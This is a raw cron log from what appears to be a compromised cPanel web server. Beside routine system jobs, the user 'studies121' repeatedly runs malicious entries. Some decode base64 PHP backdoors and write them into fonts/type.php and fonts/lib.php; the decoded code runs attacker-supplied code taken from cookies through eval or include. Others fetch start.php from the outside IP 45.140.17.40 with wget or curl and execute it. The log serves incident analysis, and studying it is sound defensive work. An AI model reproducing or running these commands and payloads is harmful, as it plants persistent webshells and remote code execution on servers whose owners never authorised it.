Aug 30 08:40:01 ip-184-168-122-23 CROND[12269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:41:01 ip-184-168-122-23 CROND[12368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:41:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:41:01 ip-184-168-122-23 CROND[12371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:41:01 ip-184-168-122-23 CROND[12372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:42:01 ip-184-168-122-23 CROND[12531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:42:01 ip-184-168-122-23 CROND[12533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:42:01 ip-184-168-122-23 CROND[12532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:42:01 ip-184-168-122-23 CROND[12535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:42:01 ip-184-168-122-23 CROND[12534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:43:01 ip-184-168-122-23 CROND[12613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:43:01 ip-184-168-122-23 CROND[12615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:43:01 ip-184-168-122-23 CROND[12616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:43:01 ip-184-168-122-23 CROND[12618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:44:02 ip-184-168-122-23 CROND[12720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:44:02 ip-184-168-122-23 CROND[12722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:44:02 ip-184-168-122-23 CROND[12725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:44:02 ip-184-168-122-23 CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:44:02 ip-184-168-122-23 CROND[12724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:45:01 ip-184-168-122-23 CROND[12821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:45:01 ip-184-168-122-23 CROND[12826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:45:01 ip-184-168-122-23 CROND[12827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:45:01 ip-184-168-122-23 CROND[12824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:45:01 ip-184-168-122-23 CROND[12828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:45:01 ip-184-168-122-23 CROND[12829]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 30 08:45:01 ip-184-168-122-23 CROND[12823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:46:01 ip-184-168-122-23 CROND[12935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:46:01 ip-184-168-122-23 CROND[12934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:46:01 ip-184-168-122-23 CROND[12938]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:46:01 ip-184-168-122-23 CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 08:46:01 ip-184-168-122-23 CROND[12942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:46:02 ip-184-168-122-23 CROND[12949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:46:02 ip-184-168-122-23 CROND[12948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:47:01 ip-184-168-122-23 CROND[13049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:47:01 ip-184-168-122-23 CROND[13051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:47:01 ip-184-168-122-23 CROND[13052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:47:01 ip-184-168-122-23 CROND[13053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:48:01 ip-184-168-122-23 CROND[13151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:48:01 ip-184-168-122-23 CROND[13153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:48:01 ip-184-168-122-23 CROND[13156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:48:01 ip-184-168-122-23 CROND[13157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:48:01 ip-184-168-122-23 CROND[13159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:49:01 ip-184-168-122-23 CROND[13314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:49:01 ip-184-168-122-23 CROND[13317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:49:01 ip-184-168-122-23 CROND[13316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:49:01 ip-184-168-122-23 CROND[13318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:50:01 ip-184-168-122-23 CROND[13404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:50:01 ip-184-168-122-23 CROND[13406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:50:01 ip-184-168-122-23 CROND[13409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:50:01 ip-184-168-122-23 CROND[13407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:50:01 ip-184-168-122-23 CROND[13410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:50:01 ip-184-168-122-23 CROND[13412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:50:01 ip-184-168-122-23 CROND[13408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:50:01 ip-184-168-122-23 CROND[13413]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:50:01 ip-184-168-122-23 CROND[13414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:51:01 ip-184-168-122-23 CROND[13525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:51:01 ip-184-168-122-23 CROND[13528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:51:01 ip-184-168-122-23 CROND[13527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:51:01 ip-184-168-122-23 CROND[13529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:52:01 ip-184-168-122-23 CROND[13611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:52:01 ip-184-168-122-23 CROND[13612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:52:01 ip-184-168-122-23 CROND[13615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:52:01 ip-184-168-122-23 CROND[13617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
